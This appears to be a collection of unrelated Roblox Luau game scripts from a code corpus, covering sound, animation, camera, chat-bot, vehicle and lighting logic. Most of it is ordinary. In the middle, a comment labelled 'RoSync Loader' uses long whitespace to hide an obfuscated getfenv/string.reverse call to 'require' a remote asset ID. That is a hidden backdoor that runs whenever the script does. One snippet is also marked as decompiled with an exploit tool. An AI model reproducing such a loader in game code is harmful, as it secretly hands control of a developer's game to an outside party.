Roblox/luau_corpus huggingface dataset:
--[[Configuration]]--
local looped = true -- If you set this to true, then the song that is currently playing will restart and play over again.
local pitch = 1
local volume = 1
local songPlayTime = 300 -- Seconds until the song will stop, I recommending leaving this at 120, since all ROBLOX Audios are now 120 seconds long.
local nextSongPlayTime = 3-- Seconds until the next song will be played, if you want you can leave it at 2.(2 is the default)
--!native
local Numpy = {}
local CanvasDraw = require(script.Parent.CanvasDraw)

function Numpy.Flat(val, width, height)
	local temp = {}
	for y = 0, height-1 do
		for x = 0, width-1 do
			local baseIndex = y * width * 4 + x * 4
			temp[baseIndex + 1] = val  -- Red channel
			temp[baseIndex + 2] = val  -- Green channel
			temp[baseIndex + 3] = val  -- Blue channel
			temp[baseIndex + 4] = val  -- Alpha channel
		end
	end
	return temp
end


function Numpy.Custom2(val, dim1, dim2, dim3)
	local result = {}
	for i = 0, dim1 do
		result[i] = {}
		for j = 0, dim2 do
			result[i][j] = {}
			if dim3 == nil then
				result[i][j] = val
			else
				for k = 0, dim3 do
					result[i][j][k] = val
				end
			end
		end
	end
	return result
end

function Numpy.CDrawToNumpy(data)
	local Resolution = data.ImageResolution

	local FinalTbl = {}

	for x=0, Resolution.X-1 do
		local temp = {}
		for y=0, Resolution.Y-1 do
			local PixelColor = CanvasDraw.GetPixelFromImageXY(data, x+1, y+1)
			temp[y] = {math.floor(PixelColor.R*255), math.floor(PixelColor.G*255), math.floor(PixelColor.B*255)}
		end
		FinalTbl[x] = temp
	end

	return FinalTbl, {Resolution.X, Resolution.Y}
end

function Numpy.ColorImage(Color, Resolution)
	local FinalTbl = {}
	
	for x=0, Resolution[1]-1 do
		local temp = {}
		for y=0, Resolution[2]-1 do
			temp[y] = Color
		end
		FinalTbl[x] = temp
	end

	return FinalTbl
end

return Numpy
-- When Tool Equipped
tool.Equipped:Connect(function()
	track = script.Parent.Parent.Humanoid:LoadAnimation(anim)
	track1 = script.Parent.Parent.Humanoid:LoadAnimation(anim1)
	track.Priority = Enum.AnimationPriority.Movement
	track1.Priority = Enum.AnimationPriority.Movement
	track.Looped = true
	track:Play()
	track1:Play()
end)
--[[
		___      _______                _     
	   / _ |____/ ___/ /  ___ ____ ___ (_)__ 
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]
wait(2.5)
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local throt=0
local redline=0

script:WaitForChild("Rev")


for i,v in pairs(car.DriveSeat:GetChildren()) do
	for _,a in pairs(script:GetChildren()) do
		if v.Name==a.Name then v:Stop() wait() v:Destroy() end
	end
end

handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
car.DriveSeat:WaitForChild("Rev")

while wait() do
	local _RPM = script.Parent.Values.RPM.Value
	
	if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
		throt = math.max(.3,throt-.2)	
	else
		throt = math.min(1,throt+.1)	
	end	
	if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
		redline=.5
	else
		redline=1
	end
	if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
	local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value)
	if FE then
		handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,script.Rev.Volume)
	else
		car.DriveSeat.Rev.Pitch = Pitch
	end
end
--------------------------------------------

game:GetService("RunService").Heartbeat:Connect(function()
	rWait(UpdateDelay)
	local TrsoLV = Trso.CFrame.lookVector
	local HdPos = Head.CFrame.p
	local player = getClosestPlayer()
	local LookAtPart
	if Neck or Waist then
		if player then
			local success, err = pcall(function()
				LookAtPart = GetValidPartToLookAt(player, PartToLookAt)
				if LookAtPart then
					local Dist = nil;
					local Diff = nil;
					local is_in_front = Core.CFrame:ToObjectSpace(LookAtPart.CFrame).Z < 0
					if is_in_front then
						if LookingAtValue.Value ~= player then
							LookingAtValue.Value = player
						end
						
						Dist = (Head.CFrame.p-LookAtPart.CFrame.p).magnitude
						Diff = Head.CFrame.Y-LookAtPart.CFrame.Y

						if not IsR6 then
							LookAt(NeckOrgnC0*Ang(-(aTan(Diff/Dist)*HeadVertFactor), (((HdPos-LookAtPart.CFrame.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), 
								WaistOrgnC0*Ang(-(aTan(Diff/Dist)*BodyVertFactor), (((HdPos-LookAtPart.CFrame.p).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0))
						else	
							LookAt(NeckOrgnC0*Ang((aTan(Diff/Dist)*HeadVertFactor), 0, (((HdPos-LookAtPart.CFrame.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor))
						end
					elseif LookBackOnNil then
						LookAt(NeckOrgnC0, WaistOrgnC0)
						if LookingAtValue.Value then
							LookingAtValue.Value = nil
						end
					end
				end
			end)
		elseif LookBackOnNil then
			LookAt(NeckOrgnC0, WaistOrgnC0)
			if LookingAtValue.Value then
				LookingAtValue.Value = nil
			end
		end
	end
end)
-- Signal class
local Signal = {}
Signal.__index = Signal

function Signal.new()
	return setmetatable({
		_handlerListHead = false,
	}, Signal)
end

function Signal:Connect(fn)
	local connection = Connection.new(self, fn)
	if self._handlerListHead then
		connection._next = self._handlerListHead
		self._handlerListHead = connection
	else
		self._handlerListHead = connection
	end
	return connection
end
-- functions

function onRunning(speed)
	if speed>0 then
		pose = "Running"
	else
		pose = "Standing"
	end
end

function onDied()
	pose = "Dead"
end

function onJumping()
	pose = "Jumping"
end

function onClimbing()
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	pose = "FreeFall"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	pose = "Seated"
end

function onPlatformStanding()
	pose = "PlatformStanding"
end

function moveJump()
	RightShoulder.MaxVelocity = 0.5
	LeftShoulder.MaxVelocity = 0.5
	RightShoulder.DesiredAngle = 3.14
	LeftShoulder.DesiredAngle = -3.14 
	RightHip.DesiredAngle = 0
	LeftHip.DesiredAngle = 0
end
-------------------------
while true do
	R.BrickColor = BrickColor.new("Really red")
	wait(0.3)
    R.BrickColor = BrickColor.new("Really black")
	wait(0.3)
end
------------------------------------------------------------------------

do
	local enabled = false

	local function ToggleFreecam()
		if enabled then
			StopFreecam()
		else
			StartFreecam()
		end
		enabled = not enabled
	end

	local function CheckMacro(macro)
		for i = 1, #macro - 1 do
			if not UserInputService:IsKeyDown(macro[i]) then
				return false
			end
		end
		ToggleFreecam()
		return true
	end

	local function HandleActivationInput(action, state, input)
		if state == Enum.UserInputState.Begin then
			if input.KeyCode == FREECAM_MACRO_KB[#FREECAM_MACRO_KB] then
				CheckMacro(FREECAM_MACRO_KB)
				--[[if CheckMacro(FREECAM_MACRO_KB) then
					return Enum.ContextActionResult.Sink
				end]]
			end
		end
		return Enum.ContextActionResult.Pass
	end

	ContextActionService:BindActionAtPriority("FreecamToggle2", HandleActivationInput, false, TOGGLE_INPUT_PRIORITY, FREECAM_MACRO_KB[#FREECAM_MACRO_KB])
end
--[[OMG YAY! First ever reply system, I'll be doing ALLOT of work on this.. It'll end up to be let's say..
1000+ lines of mixtures of letters forsay? I wanna make this good!]]

hichats = {"Hi","Hello","oh hi","Hi!","Oh hey","Hey","What do you want","What's up"}

local head = script.Parent.Head

function onPlayerEntered(newPlayer)
game.Players.PlayerAdded:connect(onPlayerEntered)
function onChatted(msg, recipient, speaker)

local source = string.lower(speaker.Name)
if (msg == "hi") then 
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
local source = string.lower(speaker.Name)
if (msg == "hello") then 
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
local source = string.lower(speaker.Name)
if (msg == "hi!") then 
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
local source = string.lower(speaker.Name)
if (msg == "hi.") then 
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
local source = string.lower(speaker.Name)
if (msg == "hello!") then 
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
local source = string.lower(speaker.Name)
if (msg == "hello.") then 
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
local source = string.lower(speaker.Name)
if (msg == "hey") then 
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
local source = string.lower(speaker.Name)
if (msg == "hey!") then 
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
local source = string.lower(speaker.Name)
if (msg == "hey.") then 
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
end
end
game.Players.PlayerAdded:connect(function(newP)
onPlayerEntered(newP) newP.Chatted:connect(function(msg) onChatted(msg, nil, newP) end) end)
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {};
local v2 = require(game.ReplicatedStorage.Modules.Lightning);
local v3 = require(game.ReplicatedStorage.Modules.Xeno);
local v4 = require(game.ReplicatedStorage.Modules.CameraShaker);
local l__TweenService__5 = game.TweenService;
local l__Debris__6 = game.Debris;
local l__ReplicatedStorage__1 = game.ReplicatedStorage;
function v1.RunStompFx(p1, p2, p3, p4)
	local v7 = l__ReplicatedStorage__1.KillFX[p1].FX:Clone();
	v7.Parent = workspace.Ignored.Animations;
	v7.PrimaryPart.CFrame = CFrame.new(p2.Position);
	local v8 = l__ReplicatedStorage__1.KillFX[p1].Stomp:Clone();
	v8.Parent = p2;
	v8:Play();
	game.Debris:AddItem(v8, 6);
	game.Debris:AddItem(v7, 6);
	if p3 and p3:FindFirstChild("Information") then
		for v9, v10 in pairs(v8:GetDescendants()) do
			if v10:IsA("BasePart") or v10:IsA("MeshPart") then
				v10.Color = p3:FindFirstChild("Information").RayColor.Value;
			end;
		end;
	end;
	for v11, v12 in pairs(p2.Parent:GetDescendants()) do
		if not (not v12:IsA("BasePart")) or not (not v12:IsA("MeshPart")) or v12:IsA("Decal") then
			game:GetService("TweenService"):Create(v12, TweenInfo.new(4), {
				Color = Color3.fromRGB(255, 255, 255), 
				Transparency = 1
			}):Play();
		end;
	end;
	for v13, v14 in pairs(v7:GetChildren()) do
		local v15 = 1200;
		if math.random(1, 2) == 2 then
			v15 = -1200;
		end;
		game:GetService("TweenService"):Create(v14, TweenInfo.new(3), {
			Transparency = 1, 
			Position = p2.Position + Vector3.new(0, 2, 0), 
			Size = v14.Size + Vector3.new(200, 200, 200), 
			Orientation = v14.Orientation + Vector3.new(0, 0, v15)
		}):Play();
	end;
	return nil;
end;
return v1;
--[[ Local Functions ]]--
function MouseLockController:OnMouseLockToggled()
	self.isMouseLocked = not self.isMouseLocked

	if self.isMouseLocked then
		local cursorImageValueObj: StringValue? = script:FindFirstChild("CursorImage") :: StringValue?
		if cursorImageValueObj and cursorImageValueObj:IsA("StringValue") and cursorImageValueObj.Value then
			CameraUtils.setMouseIconOverride(cursorImageValueObj.Value)
		else
			if cursorImageValueObj then
				cursorImageValueObj:Destroy()
			end
			cursorImageValueObj = Instance.new("StringValue")
			assert(cursorImageValueObj, "")
			cursorImageValueObj.Name = "CursorImage"
			cursorImageValueObj.Value = DEFAULT_MOUSE_LOCK_CURSOR
			cursorImageValueObj.Parent = script
			CameraUtils.setMouseIconOverride(DEFAULT_MOUSE_LOCK_CURSOR)
		end
	else
		CameraUtils.restoreMouseIcon()
	end

	self.mouseLockToggledEvent:Fire()
end

function MouseLockController:DoMouseLockSwitch(name, state, input)
	if state == Enum.UserInputState.Begin then
		self:OnMouseLockToggled()
		return Enum.ContextActionResult.Sink
	end
	return Enum.ContextActionResult.Pass
end

function MouseLockController:BindContextActions()
	ContextActionService:BindActionAtPriority(CONTEXT_ACTION_NAME, function(name, state, input)
		return self:DoMouseLockSwitch(name, state, input)
	end, false, MOUSELOCK_ACTION_PRIORITY, unpack(self.boundKeys))
end

function MouseLockController:UnbindContextActions()
	ContextActionService:UnbindAction(CONTEXT_ACTION_NAME)
end

function MouseLockController:IsMouseLocked(): boolean
	return self.enabled and self.isMouseLocked
end

function MouseLockController:EnableMouseLock(enable: boolean)
	if enable ~= self.enabled then

		self.enabled = enable

		if self.enabled then
			-- Enabling the mode
			self:BindContextActions()
		else
			-- Disabling
			-- Restore mouse cursor
			CameraUtils.restoreMouseIcon()

			self:UnbindContextActions()

			-- If the mode is disabled while being used, fire the event to toggle it off
			if self.isMouseLocked then
				self.mouseLockToggledEvent:Fire()
			end

			self.isMouseLocked = false
		end

	end
end

game.Players.LocalPlayer.CharacterAdded:Wait()
return MouseLockController
-- Sets the parent of all cached parts.
function PartCacheStatic:SetCacheParent(newParent: Instance)
	assert(getmetatable(self) == PartCacheStatic, ERR_NOT_INSTANCE:format("SetCacheParent", "PartCache.new"))
	assert(newParent:IsDescendantOf(workspace) or newParent == workspace, "Cache parent is not a descendant of Workspace! Parts should be kept where they will remain in the visible world.")

	self.CurrentCacheParent = newParent
	for i = 1, #self.Open do
		self.Open[i].Parent = newParent
	end
	for i = 1, #self.InUse do
		self.InUse[i].Parent = newParent
	end
end
-- Adds user timing marks for e.g. state updates, suspense, and work loop stuff,
-- for an experimental scheduling profiler tool.
exports.enableSchedulingProfiler = _G.__PROFILE__ and _G.__EXPERIMENTAL__
--	if math.abs(g) > 0 then
--		
--	end
end

F.pbrake = function(x)
	if x then carSeat.PBt:Play()
	else carSeat.PBf:Play()
	end
end

F.updateValue = function(Val, Value)
	if Val then
		Val.Value = Value
	end
end


F.FMSwitch = function(FM)
	if carSeat.Stations.mood.Value == 5 then
		carSeat.Parent.Body.MP.Sound:Stop()
		carSeat.Stations.mood.Value = 2
		scg.Radio.Song.Text = "PRESET 2"
	elseif carSeat.Stations.mood.Value == 2 then
		carSeat.Parent.Body.MP.Sound:Stop()
		carSeat.Stations.mood.Value = 3
		scg.Radio.Song.Text = "PRESET 3"
	elseif carSeat.Stations.mood.Value == 3 then
		carSeat.Parent.Body.MP.Sound:Stop()
		carSeat.Stations.mood.Value = 4
		scg.Radio.Song.Text = "PRESET 4"
	elseif carSeat.Stations.mood.Value == 4 then
		carSeat.Parent.Body.MP.Sound:Stop()
		carSeat.Stations.mood.Value = 1
		scg.Radio.Song.Text = "PRESET 1"
	elseif carSeat.Stations.mood.Value == 1 then
		carSeat.Parent.Body.MP.Sound:Stop()
		carSeat.Stations.mood.Value = 5
		scg.Radio.Song.Text = ""
	end
end

F.volumech = function(v)
	carSeat.Parent.Body.MP.Sound.Volume = v
	scg.Radio.Volume.Text = carSeat.Parent.Body.MP.Sound.Volume
end

F.updateSong = function(Song)
	carSeat.Stations.mood.Value = 5
	carSeat.Parent.Body.MP.Sound:Stop()
	wait()
	carSeat.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..Song
	wait()
	carSeat.Parent.Body.MP.Sound:Play()
	scg.Radio.Song.Text = "CUSTOM"
end

F.pauseSong = function()
	carSeat.Stations.mood.Value = 5
	carSeat.Parent.Body.MP.Sound:Stop()
	scg.Radio.Song.Text = "OFF"
end

F.pitc = function(v)
	carSeat.Parent.Body.MP.Sound.Pitch = v
end

script.Parent.OnServerEvent:connect(function(Player, Func, ...)
	if F[Func] then
		F[Func](...)
	end
end)
--[[ Last synced 10/19/2020 07:16                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                                  ]]--
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
-- STATE CHANGE HANDLERS

function onRunning(speed)
	local movedDuringEmote = currentlyPlayingEmote and Humanoid.MoveDirection == Vector3.new(0, 0, 0)
	local speedThreshold = movedDuringEmote and Humanoid.WalkSpeed or 0.75
	if speed > speedThreshold then
		local scale = 16.0
		playAnimation("walk", 0.2, Humanoid)
		setAnimationSpeed(speed / scale)
		pose = "Running"
	else
		if emoteNames[currentAnim] == nil and not currentlyPlayingEmote then
			playAnimation("idle", 0.2, Humanoid)
			pose = "Standing"
		end
	end
end

function onDied()
	pose = "Dead"
end

function onJumping()
	playAnimation("jump", 0.1, Humanoid)
	jumpAnimTime = jumpAnimDuration
	pose = "Jumping"
end

function onClimbing(speed)
	local scale = 5.0
	playAnimation("climb", 0.1, Humanoid)
	setAnimationSpeed(speed / scale)
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	if (jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	end
	pose = "FreeFall"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	pose = "Seated"
end

function onPlatformStanding()
	pose = "PlatformStanding"
end
-- Represents a CastStateInfo :: https://etithespirit.github.io/FastCastAPIDocs/fastcast-objects/caststateinfo/
export type CastStateInfo = {
	UpdateConnection: RBXScriptSignal,
	HighFidelityBehavior: number,
	HighFidelitySegmentSize: number,
	Paused: boolean,
	Delta: number,
	TotalRuntime: number,
	TotalRuntime2: number,
	DistanceCovered: number,
	IsActivelySimulatingPenetrate: boolean,
	IsActivelyResimulating: boolean,
	CancelHighResCast: boolean,
	Trajectories: {[number]: CastTrajectory},
	TweenTable: GenericTable
}
--[=[
	@interface Middleware
	.Inbound ClientMiddleware?
	.Outbound ClientMiddleware?
	@within KnitClient
]=]
type Middleware = {
	Inbound: ClientMiddleware?,
	Outbound: ClientMiddleware?,
}
-- Left Arm
		character:FindFirstChild("RightUpperLeg").LocalTransparencyModifier = 0
		
		character:FindFirstChild("RightLowerLeg").LocalTransparencyModifier = 0
		
		character:FindFirstChild("RightFoot").LocalTransparencyModifier = 0
--returns the wielding player of this tool
function getPlayer()
	local char = Tool.Parent
	return game:GetService("Players"):GetPlayerFromCharacter(Character)
end

function Toss(direction)
	local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z)
	local spawnPos = Character.Head.Position
	spawnPos  = spawnPos + (direction * 5)
	Tool.Handle.Transparency = 1
	local Object = Tool.Handle:Clone()
	Object.Parent = workspace
	Object.Transparency = 1
	Object.Swing.Pitch = math.random(90, 110)/100
	Object.Swing:Play()
	Object.CanCollide = true
	Object.CFrame = Tool.Handle.CFrame
	Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0)
	Object.Trail.Enabled = true
	Object.Fuse:Play()
	Object.Sparks.Enabled = true
	local rand = 11.25
	Object.RotVelocity = Vector3.new(math.random(-rand,rand),math.random(-rand,rand),math.random(-rand,rand))
	Object:SetNetworkOwner(getPlayer())
	local ScriptClone = DamageScript:Clone()
	ScriptClone.Parent = Object
	ScriptClone.Disabled = false
	local tag = Instance.new("ObjectValue")
	tag.Value = getPlayer()
	tag.Name = "killer"
	tag.Parent = Object
	Tool:Destroy()
end


script.Parent.Power.OnServerEvent:Connect(function(player, Power)
	AttackVelocity = Power
end)

Remote.OnServerEvent:Connect(function(player, mousePosition)
	if not AttackAble then return end
	AttackAble = false
	if Humanoid then
		Remote:FireClient(getPlayer(), "PlayAnimation", "Animation")
	end
	local targetPos = mousePosition.p
	local lookAt = (targetPos - Character.Head.Position).unit
	Toss(lookAt)
	LeftDown = true
end)

function onLeftUp()
	LeftDown = false
end

Tool.Equipped:Connect(function()
	Character = Tool.Parent
	Humanoid = Character:FindFirstChildOfClass("Humanoid")
end)

Tool.Unequipped:Connect(function()
	Character = nil
	Humanoid = nil
end)
-- CONSTANTS

local FORMAT_STR = "Maid does not support type \"%s\""

local DESTRUCTORS = {
	["function"] = function(item)
		item()
	end;
	["RBXScriptConnection"] = function(item)
		item:Disconnect()
	end;
	["Instance"] = function(item)
		item:Destroy()
	end;
}
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
-- STATE CHANGE HANDLERS

function onRunning(speed)
	if speed > 0.5 then
		local scale = 16.0
		playAnimation("walk", 0.2, Humanoid)
		setAnimationSpeed(speed / scale)
		pose = "Running"
	else
		if emoteNames[currentAnim] == nil then
			playAnimation("idle", 0.2, Humanoid)
			pose = "Standing"
		end
	end
end

function onDied()
	pose = "Dead"
end

function onJumping()
	playAnimation("jump", 0.1, Humanoid)
	jumpAnimTime = jumpAnimDuration
	pose = "Jumping"
end

function onClimbing(speed)
	local scale = 5.0
	playAnimation("climb", 0.1, Humanoid)
	setAnimationSpeed(speed / scale)
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	if (jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	end
	pose = "FreeFall"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	pose = "Seated"
end

function onPlatformStanding()
	pose = "PlatformStanding"
end
--[[
	Init function that creates all the rooms
]]
function RoomManager.init()
	local roomModels = CollectionService:GetTagged(Constants.Tag.Room)

	for _, model in pairs(roomModels) do
		local room = rooms:add(model)

		room.stateChanged:Connect(RoomManager._updateStatusValues)
	end

	RoomManager._flashAlerts()
	RoomManager._updateStatusValues()

	workspace:GetPropertyChangedSignal("Gravity"):Connect(
		function()
			if workspace.Gravity == 0 then
				for _, room in pairs(rooms:getAll()) do
					room:applyMicroVelocityToParts()
				end
			end
		end
	)
end
--create tables:
for i,part in pairs(model:GetChildren()) do
	if string.sub(part.Name, 1,1) == "c" then
		table.insert(c, 1, part)
	end
end
for i,part in pairs(model:GetChildren()) do
	if string.sub(part.Name, 1,1) == "d" then
		table.insert(d, 1, part)
	end
end

function lightOn(T)
	for i, part in pairs (T) do
		if part:FindFirstChild("SurfaceLight") then
			part.SurfaceLight.Enabled = true
		end
	    if part:FindFirstChild("SpotLight") then
			part.SpotLight.Enabled = true
			part.Material = "Neon"
		end
	end
end

function lightOff(T)
	for i, part in pairs (T) do
		if part:FindFirstChild("SurfaceLight") then
			part.SurfaceLight.Enabled = false
		end
	    if part:FindFirstChild("SpotLight") then
			part.SpotLight.Enabled = false
			part.Material = "SmoothPlastic"
		end
	end
end
while true do
	
	lightOn(c)
	wait(0.05)

	lightOff(c)
	wait(0.05)
	
	lightOn(d)
	wait(0.05)

	lightOff(d)
	wait(0.05)
	
end